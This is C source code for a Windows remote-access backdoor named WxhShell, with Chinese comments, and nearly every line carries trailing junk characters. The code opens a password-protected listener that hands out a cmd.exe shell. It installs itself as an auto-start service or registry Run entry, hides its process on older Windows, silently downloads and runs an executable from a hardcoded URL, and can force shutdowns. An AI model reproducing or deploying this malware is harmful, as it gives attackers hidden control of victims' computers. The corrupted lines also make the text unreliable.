    send(wsh,msg_ws_err,strlen(msg_ws_err),0); CI{TgL:l  
    else { =S +:qk  
    closesocket(wsh); Jev.o]|_,  
    ExitThread(0); R:<AR.)K  
    } M<7*\1  
    break; lV="IP^7  
    } 1S#bV} !  
  // 获取shell 7si.]  
  case 's': { []^>QsS(X  
    CmdShell(wsh); (o=iX,@'2  
    closesocket(wsh); Q{kuB+s  
    ExitThread(0); Y[,C1,  
    break; Vi-@z;k  
  } |@|D''u>6  
  // 退出 4B pm{b  
  case 'x': { 6>%NL"* ]  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); .{>-.&  
    CloseIt(wsh); M#|xj <p  
    break; _<Tz 1>j=  
    } ~vS.Dr  
  // 离开 5?"ZM'4  
  case 'q': { |u=57II#xK  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); XA%?35v~  
    closesocket(wsh); !4fL|0  
    WSACleanup(); YJ`>&AJ  
    exit(1); |Dli6KN  
    break; LYv2ll`XP  
        } h2K  
  } l6O(+*6Us  
  } ~C+T|  
#2iA-5  
  // 提示信息 m0YDO 0  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); T;7|d5][  
} 2x CGr>X  
  } SOJHw6  
L;<]wKs  
  return; [rem,i+  
} C%h_!z":  
_uacpN/<|  
// shell模块句柄 @ZZ Lh=  
int CmdShell(SOCKET sock) sj2+|>  
{ rv>6k:(  
STARTUPINFO si; W'yICt(#G  
ZeroMemory(&si,sizeof(si)); Fx2&ji6u  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 3f x!\  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 6A<aelE*i  
PROCESS_INFORMATION ProcessInfo; ~C3-E %h@Z  
char cmdline[]="cmd"; dXQWT@$y!E  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 7EUaf;d^  
  return 0; |H49 FL  
} $TiAJ}:  
,P]{*uqGiB  
// 自身启动模式 lC{m;V2  
int StartFromService(void) Wit1WI;18  
{ Pc-HQU  
typedef struct C_o.d~xm  
{ ektFk"W3A\  
  DWORD ExitStatus; r\?*?sL  
  DWORD PebBaseAddress; EhoR.  
  DWORD AffinityMask; UlR7_   
  DWORD BasePriority; 2t%)d9r32  
  ULONG UniqueProcessId; Q&7Qht:ea:  
  ULONG InheritedFromUniqueProcessId; nLQJ~("  
}   PROCESS_BASIC_INFORMATION; .7q#{`K^=  
QaV*}W  
PROCNTQSIP NtQueryInformationProcess; ~V4|DN[I  
[aW#7  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; -!" 8j"pA:  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; <KCgtO  
e5Z\v0  
  HANDLE             hProcess; =W?c1EPLCx  
  PROCESS_BASIC_INFORMATION pbi; ;#*mB`  
7Uh}|6PU  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); <@P0sd   
  if(NULL == hInst ) return 0; 0td;Ag  
Q{l;8MCL  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); <=lP6B  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); !G37K8 &&*  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); gKnAw+u\  
_*_zyWW_j  
  if (!NtQueryInformationProcess) return 0; uxBk7E%6  
HukHZ;5  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); GZo^0U,;  
  if(!hProcess) return 0; &yuerNK  
HD|5:fAqA  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; :Wln$L$  
=KMck=#B  
  CloseHandle(hProcess); 3)sqAs(  
9;jfg|x1[  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); -HOCxR  
if(hProcess==NULL) return 0; Z|.z~53;  
$%<gp@Gz  
HMODULE hMod; H!N,PI?rn  
char procName[255]; 3!I8J:GZ:  
unsigned long cbNeeded; l[gL(p"W  
&,+ZN A`P  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); )+J?(&6  
| e+m!G1G  
  CloseHandle(hProcess); 15B$Sp!/`e  
ZD*>i=S  
if(strstr(procName,"services")) return 1; // 以服务启动 g`6S*&8I  
K% ;O$ >  
  return 0; // 注册表启动 !zeBxR$&o  
} ^^Y0 \3.  
H 74hv`G9  
// 主模块 x&sF_<[  
int StartWxhshell(LPSTR lpCmdLine) ({)_[dJ'  
{ q /#O :Q  
  SOCKET wsl; $O[ut.   
BOOL val=TRUE; M30_b8[Y_  
  int port=0; w ^A0l.{  
  struct sockaddr_in door; M9MEQK  
e.Ii@<  
  if(wscfg.ws_autoins) Install(); ZyTah\yPM  
IMBqy-q  
port=atoi(lpCmdLine); RGcT  
X6PfOep  
if(port<=0) port=wscfg.ws_port; j \SDw  
W[b/.u5z:  
  WSADATA data; 2- )Ml*  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; l{ k   
'lWNU   
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ]HRE-g  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 0GB6.Ggft  
  door.sin_family = AF_INET; $*tuv ?  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); %j'lWwi  
  door.sin_port = htons(port); #ws6z`mt  
pz(clTOD:  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ?C_%"!GR  
closesocket(wsl); 6rk/74gI,a  
return 1; KxvT}"k  
} CN zK-,  
#SL/Jr DZ  
  if(listen(wsl,2) == INVALID_SOCKET) { 9F3`hJZRy>  
closesocket(wsl); r`lgK2r\  
return 1; zX3O_  
} 8ciLzyrY*  
  Wxhshell(wsl); +ISB"a  
  WSACleanup(); Re=bJ|wo  
8s|r'  
return 0; a-7nA  
^s%Qt  
} WvR}c  
"~GudK &  
// 以NT服务方式启动 pt=[XhxC(>  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) H`fkds  
{ :QN,T3i'/3  
DWORD   status = 0; \4V'NTjB  
  DWORD   specificError = 0xfffffff; GU!|J71z  
am`eist:  
  serviceStatus.dwServiceType     = SERVICE_WIN32; [QeKT8  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; "5{\0CfS  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 4((Z8@iX/  
  serviceStatus.dwWin32ExitCode     = 0; 9~N7hLT  
  serviceStatus.dwServiceSpecificExitCode = 0; %e _WO,R  
  serviceStatus.dwCheckPoint       = 0; -cG?lEh <  
  serviceStatus.dwWaitHint       = 0; B3K%V|;z )  
]SK(cfA`  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); DK:d'zb  
  if (hServiceStatusHandle==0) return; p/@z4TCNX  
YTY0N5["  
status = GetLastError(); IUzRE?Kzf  
  if (status!=NO_ERROR) bBjVot  
{ E#T'=f[r~  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; bMgp  
    serviceStatus.dwCheckPoint       = 0; :5;[Rg5 2  
    serviceStatus.dwWaitHint       = 0; lG q;kIQ  
    serviceStatus.dwWin32ExitCode     = status; I(<1-3~  
    serviceStatus.dwServiceSpecificExitCode = specificError; =MMWcK&  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); a29mVmi>  
    return; 9gjx!t>`H  
  } tEb2>+R  
Yzd-1Jvk  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; O#9Q+BD  
  serviceStatus.dwCheckPoint       = 0; <&:3|2p  
  serviceStatus.dwWaitHint       = 0; \@5W&Be^  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); N:=D@x~]  
} d ;ry!X  
H.'_NCF&;L  
// 处理NT服务事件,比如:启动、停止 Lc+)#9*d  
VOID WINAPI NTServiceHandler(DWORD fdwControl) iTD{  
{ =PXNg!B}D*  
switch(fdwControl) I_v]^>Xw  
{ 8 #0?  
case SERVICE_CONTROL_STOP: _QCAV+K'  
  serviceStatus.dwWin32ExitCode = 0; eQzTb91  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; s9@IOE GAt  
  serviceStatus.dwCheckPoint   = 0; )00#Rrt9  
  serviceStatus.dwWaitHint     = 0; (/PD;R$b  
  { 6Ba>l$/q  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); @Yy=HV  
  } [4 "%NY  
  return; n1$p esr  
case SERVICE_CONTROL_PAUSE: 2_UH,n  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ?jy^WF`  
  break; gm4-w 9M[p  
case SERVICE_CONTROL_CONTINUE: :s*&_y  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 'v4AM@%u  
  break; ~d28"p.7  
case SERVICE_CONTROL_INTERROGATE: }k'8*v}8  
  break; QD7>S(p  
}; uI.4zbgl[  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); QiY7m<3  
} tBdvk>d  
erqg|TsFj  
// 标准应用程序主函数 "x&H*"  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) M=@U]1n*c  
{ %$Mvq&ZZ  
,X+071.(  
// 获取操作系统版本 c~@I1M  
OsIsNt=GetOsVer(); U.d*E/OR5  
GetModuleFileName(NULL,ExeFile,MAX_PATH); fFMG9]*  
<[b\V+M  
  // 从命令行安装 +HUI1@ql  
  if(strpbrk(lpCmdLine,"iI")) Install(); (,HA Os  
}?"f#bI  
  // 下载执行文件 yU&A[DZQ  
if(wscfg.ws_downexe) { <#sB ;  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) RDk{;VED{  
  WinExec(wscfg.ws_filenam,SW_HIDE); F^KoEWj[H  
} ?^0#:QevC  
WF_G GF{  
if(!OsIsNt) { 6$2)m;| XY  
// 如果时win9x,隐藏进程并且设置为注册表启动 %/s:G)  
HideProc(); Onby=Y o6  
StartWxhshell(lpCmdLine); DH @*Oz-  
} L<J%IlcfO  
else .GLotc  
  if(StartFromService()) {P(IA2J'S  
  // 以服务方式启动 zaR~fO  
  StartServiceCtrlDispatcher(DispatchTable); BwrMRMq"  
else C'kd>LAGu  
  // 普通方式启动 l{vi{9n)  
  StartWxhshell(lpCmdLine); G`gYwgU;  
B +_D*a  
return 0; u]CW5snz  
} hNSV}~h  
sLb[ZQ;j  
H#G'q_uHH  
PJ9JRG7j  
=========================================== H?M8j] R-)  
r's4-\  
7RTp+FC]  
dAohj QH:  
d(42ob.Tr  
O" n/.`  
" P#"vlNa  
%F1 Ce/  
#include <stdio.h> 7teg*M{  
#include <string.h> 2A {k>TjQ  
#include <windows.h> <eb>/ D  
#include <winsock2.h> yAXw?z!`O  
#include <winsvc.h> <c^m |v  
#include <urlmon.h> f`P%aX'cBQ  
DYbkw4Z,  
#pragma comment (lib, "Ws2_32.lib") &\`=}hB  
#pragma comment (lib, "urlmon.lib") &`0heJ 5Yn  
N^CD4l  
#define MAX_USER   100 // 最大客户端连接数 /3'>MRzR  
#define BUF_SOCK   200 // sock buffer WZ;f3 "  
#define KEY_BUFF   255 // 输入 buffer .u)Po;e`  
pgfI1`h  
#define REBOOT     0   // 重启 1/JgirVA  
#define SHUTDOWN   1   // 关机 -.i1l/FzP  
^~8l|d_  
#define DEF_PORT   5000 // 监听端口 #Z(8 vA^@  
B?$pIG^Mn  
#define REG_LEN     16   // 注册表键长度 Y M/^-[k3  
#define SVC_LEN     80   // NT服务名长度 gey`HhZp)  
s 3Y \,9\  
// 从dll定义API |'b=xeH.^<  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); jW"C: {Ol;  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); kT!FC0E{  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); a/{T;=_GY  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); jo0p/5;  
"PLZZL$+  
// wxhshell配置信息 dGTAZ(1W  
struct WSCFG { 7[ *,t  
  int ws_port;         // 监听端口 \P+lb-~\"  
  char ws_passstr[REG_LEN]; // 口令 Hq< Vk.Nk  
  int ws_autoins;       // 安装标记, 1=yes 0=no SPn0D9 b]  
  char ws_regname[REG_LEN]; // 注册表键名 /DJyNf*  
  char ws_svcname[REG_LEN]; // 服务名 N@)tU;U3O  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 zf4@:GM`  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 `4g m'C  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 }`\+_@ w  
int ws_downexe;       // 下载执行标记, 1=yes 0=no gNo.&G [  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ~;3N'o  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 LezM=om.  
BoHMz/DB  
}; aKhI|%5kA  
}q)o LC  
// default Wxhshell configuration a$l/N{<.  
struct WSCFG wscfg={DEF_PORT, J}nE,U2  
    "xuhuanlingzhe", uJ{N?  
    1, Pv+[N{  
    "Wxhshell", nkSYW]aQ1g  
    "Wxhshell", q_ykB8Ensa  
            "WxhShell Service", Y_xPr%%A  
    "Wrsky Windows CmdShell Service", GadQ \>  
    "Please Input Your Password: ", vn KKK.E  
  1, 3QL'uk  
  "http://www.wrsky.com/wxhshell.exe", PGOi#x  
  "Wxhshell.exe" )CSb\  
    }; Lg sQz(-  
}pTy mAN  
// 消息定义模块 :W? 7J"  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ?6; +.h\  
char *msg_ws_prompt="\n\r? for help\n\r#>"; K #}DXq  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; BOoLs(p  
char *msg_ws_ext="\n\rExit."; OGzth$7A  
char *msg_ws_end="\n\rQuit."; uy9k^4Cqa  
char *msg_ws_boot="\n\rReboot..."; Yvcd(2  
char *msg_ws_poff="\n\rShutdown..."; ]o6Or,ml  
char *msg_ws_down="\n\rSave to "; XA-DJ  
!dv  
char *msg_ws_err="\n\rErr!"; 9pb4!=g*  
char *msg_ws_ok="\n\rOK!"; % tN{  
ez"Xb 7  
char ExeFile[MAX_PATH]; Z1wN+Y.CA  
int nUser = 0; ;%"UZ~]f  
HANDLE handles[MAX_USER]; o=X6PoJ N_  
int OsIsNt; {]n5h#c 5*  
@K7#}7,t  
SERVICE_STATUS       serviceStatus; U:M?Ji5CY  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; p%jl-CC1  
7^ A;.x  
// 函数声明 Bq#?g@V  
int Install(void); weEmUw Z  
int Uninstall(void); rL w,?  
int DownloadFile(char *sURL, SOCKET wsh); x24  
int Boot(int flag); .>Gq/[c0|  
void HideProc(void); Z}5 ;K"T/  
int GetOsVer(void); k+f!)7_  
int Wxhshell(SOCKET wsl); :[ F`tDL  
void TalkWithClient(void *cs); S>Z V8  
int CmdShell(SOCKET sock); Ysz{~E'  
int StartFromService(void); )3V5P%Q  
int StartWxhshell(LPSTR lpCmdLine); HcXyU/>D  
Rf+ogLa=  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); %`t;5kmR  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); }H&NR?Ax  
Tar tV3;`  
// 数据结构和表定义 (`>RwooE  
SERVICE_TABLE_ENTRY DispatchTable[] = %K@D{ )r_^  
{ G9TK)Nz  
{wscfg.ws_svcname, NTServiceMain}, `7zz&f9dDX  
{NULL, NULL} :[3{-.c  
};  {.GC7dx  
)@DH&  
// 自我安装 p6$ QTx  
int Install(void) z _~ 5c  
{ N 3 i ,_  
  char svExeFile[MAX_PATH]; TL ;2,@H`  
  HKEY key; +/*g?Vt  
  strcpy(svExeFile,ExeFile); 4&~ft  
0K <@?cI  
// 如果是win9x系统,修改注册表设为自启动 ?"]fGp6y  
if(!OsIsNt) { -o#HO_9  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { $?YRy_SI  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); <03@cs  
  RegCloseKey(key); ?g+0S@{i $  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 8l-+ 4~mH  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); j(HC^\Hi  
  RegCloseKey(key); (D]l/akP  
  return 0; QKDY:1]  
    } o>mZ$  
  } Q* ifmnB'  
} JEL =,0J  
else { qOVs9'R  
 O;h]  
// 如果是NT以上系统,安装为系统服务 (9]`3^_,J  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ,R5NKWo  
if (schSCManager!=0) <7fF9X  
{ ]1>U@oK  
  SC_HANDLE schService = CreateService :A%uXgK<k  
  ( L:"i,K#P  
  schSCManager, J?&lpsB3_l  
  wscfg.ws_svcname, 7d*SZmD  
  wscfg.ws_svcdisp, Ml1yk)3G  
  SERVICE_ALL_ACCESS, ER~m &JI  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , uh*b[`e  
  SERVICE_AUTO_START, E}sj l  
  SERVICE_ERROR_NORMAL, <"Z]S^>$  
  svExeFile, b&f;p}C24  
  NULL, 3U9]&7^  
  NULL, (" <3w2Vlh  
  NULL, q$`{$RX  
  NULL, ]#]|]>& <  
  NULL NWd%Za5K;  
  ); + VE }c  
  if (schService!=0) qMD6LWJ  
  { *T' /5,rX2  
  CloseServiceHandle(schService); Wu(6FQ`H  
  CloseServiceHandle(schSCManager); -&I%=0q  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); w-*$gk]   
  strcat(svExeFile,wscfg.ws_svcname); ^UHt1[  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { *9 M 5'  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 'L4@|c~x  
  RegCloseKey(key); 9`yG[OA  
  return 0; i,=greA]"  
    } /Aoo h~  
  } H RJz  
  CloseServiceHandle(schSCManager); lp3 A B  
} 7K>FC T  
} &;S.1tg  
t-*oVX3D  
return 1; H6X]D"Y,  
} Ve#VGlI  
Vui5ZK  
// 自我卸载 teH $hd-q  
int Uninstall(void) FZ'|z8Dm  
{ < ek_n;R  
  HKEY key; *jM~VTXwt  
z6 2gF|Uj  
if(!OsIsNt) { F#>?i}  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { zim]3%b*A;  
  RegDeleteValue(key,wscfg.ws_regname); ^Lr)STh  
  RegCloseKey(key); Y+ 75}]B  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { DP**pf%j  
  RegDeleteValue(key,wscfg.ws_regname); YzJ\< tkp  
  RegCloseKey(key); fx(^}e  
  return 0; =$;i  
  } 6<jh0=$  
} 4^vEMq8lB  
} ;M}'\.  
else { d%VG@./xq  
T8+A`z=tSb  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); . #`lW7  
if (schSCManager!=0) u~FXO[b  
{ j H#Tt;  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ykcW>h  
  if (schService!=0) 6!7LgM%4  
  { }w .[ZeP  
  if(DeleteService(schService)!=0) { Y^$^B,  
  CloseServiceHandle(schService); o"dX3jd  
  CloseServiceHandle(schSCManager);  w=5D>]  
  return 0; M7!>-P  
  } rZ5vey  
  CloseServiceHandle(schService); gp'9Pf;\[  
  } I} a`11xb`  
  CloseServiceHandle(schSCManager); Lsa&A+fru  
} +InAK>NZ'  
} x LR 2H>B}  
Ex2TV7I  
return 1; 7wS )'zR;  
} +M-x*;.  
ZlD\)6 dZ  
// 从指定url下载文件 C%#=@HC  
int DownloadFile(char *sURL, SOCKET wsh) K0$8t%Z.  
{ ; mnV)8:F  
  HRESULT hr; ^Uss?)jN4  
char seps[]= "/"; 17g\XC@ Cl  
char *token; S^0Po%d  
char *file; rUvjc4O}  
char myURL[MAX_PATH]; `(s&H8x#  
char myFILE[MAX_PATH]; P @N7g`u3}  
>MD['=J[d  
strcpy(myURL,sURL); 6U[`CGL66  
  token=strtok(myURL,seps); t=M:L[bis;  
  while(token!=NULL) C5oslP/@  
  { a_Y*pOu  
    file=token; dU%Q=r8R  
  token=strtok(NULL,seps); ?oF+?l  
  } EfHo1Yn&  
SXkUtY$  
GetCurrentDirectory(MAX_PATH,myFILE); 1vKc>+9  
strcat(myFILE, "\\"); (n:d {bKV  
strcat(myFILE, file); _Kdqa%L !  
  send(wsh,myFILE,strlen(myFILE),0); :L gFd  
send(wsh,"...",3,0); 1xN6V-qk  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); z%-Yz- G9  
  if(hr==S_OK) N>qOiw[  
return 0; 5u +U^D  
else 'q%56WAJ  
return 1;  pleLdGq  
xL8r'gV@  
} 6UK{0\0  
mYLqT$t.+  
// 系统电源模块 `B6~KZ  
int Boot(int flag) l_tr,3_w  
{ \HX'^t`  
  HANDLE hToken; W" >[sn|  
  TOKEN_PRIVILEGES tkp; ^Xv_y+  
?blF6Kl$  
  if(OsIsNt) { F:nhSd  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Ibt~e4f  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); )yvI  {  
    tkp.PrivilegeCount = 1; c'M#va  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; sq `f?tA?  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); M^^5JNY  
if(flag==REBOOT) { (IdXJvKU!  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) f P'qUN  
  return 0; 7u[U%yd  
} cQ( zBf  
else { &)jBr^x#>  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 4q sIJJ[.  
  return 0; 48;6C g  
} ct,B0(]  
  } X"_,#3Ko!  
  else { gc``z9@Xg  
if(flag==REBOOT) { }uWIF|h~  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 2ghTAsUx9  
  return 0; |  RMIV  
} Py2AnpYa  
else { 7|4t;F!  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) thG;~ W  
  return 0; XaT9`L<  
} )~/;Xl#b-  
} 0>@D{_}s  
V1 y"  
return 1; lAjP'(  
} ffMh2   
v4M1uJ8  
// win9x进程隐藏模块 O?`=<W/R  
void HideProc(void) l 2&cwjc  
{ nx{_^sK  
_$s ;QI]x  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); pxm{?eBz  
  if ( hKernel != NULL ) %`*`HU#X  
  { 1Rrp#E}  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); P<<?7_ ??  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); qKoD*cl)Za  
    FreeLibrary(hKernel); Uc oVp}vl  
  } kLc}a5;  
OZ{YQ}t{^1  
return; <1")JDW  
} },r30`)Q  
:cDhqBMNr`  
// 获取操作系统版本 n~~0iU )  
int GetOsVer(void) /S4$qr cM  
{ j1/.3\  
  OSVERSIONINFO winfo; u,h,;'J  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); VI83 3  
  GetVersionEx(&winfo); PL+r*M%ll  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 9A|deETa-  
  return 1; vo48\w7[  
  else h#_KO-#.[  
  return 0; `re9-HM  
} *Uq1 q  
0 #*M'C#  
// 客户端句柄模块 m417=wf  
int Wxhshell(SOCKET wsl) ]/byz_7]  
{ >`\f,yq l6  
  SOCKET wsh; ahezDDR-.i  
  struct sockaddr_in client; 21(8/F ~{  
  DWORD myID; hC1CISm.U  
zJ-_{GiM*L  
  while(nUser<MAX_USER) }M3f ?Jv  
{ .M Ni)+  
  int nSize=sizeof(client); S"t6 *fWr  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ryhme\%l;f  
  if(wsh==INVALID_SOCKET) return 1; ;%-f>'KhI7  
}^T7S2_Qy  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Zp5;=8wa;  
if(handles[nUser]==0) >lyX";X#  
  closesocket(wsh); 05$;7xnf(  
else w5j6RQml  
  nUser++; *g0}pD;r  
  } %V40I{1  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); g&z)y  
Z0o+&3a6  
  return 0; 7Jm&z/  
} <i~O0f]   
OnD!*jy  
// 关闭 socket (_:k s  
void CloseIt(SOCKET wsh) 9VqE:c /  
{ R$[nYw  
closesocket(wsh); XwI~ 0  
nUser--; ~ ^)D#Lo  
ExitThread(0); xZmO^F5KHj  
} G)p pkH`qj  
r'!HWR  
// 客户端请求句柄 E cS+/  
void TalkWithClient(void *cs) q?R)9E$h  
{ X5s.F%Np!  
&Z kY9XO  
  SOCKET wsh=(SOCKET)cs; JCL+uEX4S  
  char pwd[SVC_LEN]; h6Femis  
  char cmd[KEY_BUFF]; /(/Z~J[  
char chr[1]; d! BQ%a  
int i,j; RQaB _bg7  
pKSn 3-A  
  while (nUser < MAX_USER) { to}g4  
Dt1v`T~=?  
if(wscfg.ws_passstr) { nC-=CMWWr  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); k,) xv?  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); zWN/>~}U \  
  //ZeroMemory(pwd,KEY_BUFF); tyEa5sy4  
      i=0; (s:ihpI  
  while(i<SVC_LEN) { cr}T ? $\K  
v|\<N!g  
  // 设置超时 yH\3*#+  
  fd_set FdRead; 'VgdQp$L$  
  struct timeval TimeOut; M @|n"(P  
  FD_ZERO(&FdRead); IJWUNKqo=  
  FD_SET(wsh,&FdRead); H2f!c{t$p  
  TimeOut.tv_sec=8; = [N= mC  
  TimeOut.tv_usec=0; x,CTB  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 79DzrLu  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); S5Hb9m&&  
}rWEa^  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); =H<I` J'  
  pwd=chr[0]; *=sMJY9#jE  
  if(chr[0]==0xd || chr[0]==0xa) { x,U '!F  
  pwd=0; 0 _!')+  
  break; 4trP*u,4  
  } Ry$zF~[   
  i++; we4k VAn  
    } !ucHLo3:  
`"7}'|  
  // 如果是非法用户,关闭 socket 7P+qPcRaP  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); JEw+5 MO@  
} 4tQ~Z6Jn;  
:i{Svb*_'  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); E{LLxGAEZ  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); oFO)28Btv  
r JvtE}x1  
while(1) { OouIV3  
u[{j;l(  
  ZeroMemory(cmd,KEY_BUFF); ce3UB~Q  
fwkklg^  
      // 自动支持客户端 telnet标准   A` 'k5uG  
  j=0; $#ve^.VHv  
  while(j<KEY_BUFF) { -Kas9\VWEw  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); :4Gc'b R  
  cmd[j]=chr[0]; qjcPJ  
  if(chr[0]==0xa || chr[0]==0xd) { 0XcH  
  cmd[j]=0; $ \yZ;Z:  
  break; j_(DH2D  
  } &["s/!O1R  
  j++; }?\8%hK"a7  
    } t!=qt*  
<Ny DrO"C3  
  // 下载文件 + :IwP  
  if(strstr(cmd,"http://")) { p\'0m0*   
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 6UAn# d9  
  if(DownloadFile(cmd,wsh)) ;+Dq 3NE  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); As}e I!  
  else ?Iin/<y  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 9wTN *y  
  } $fzO:br5WJ  
  else { (&B`vgmb  
vcmB)P-T`O  
    switch(cmd[0]) { /wR,P  
  iBM;$0Y  
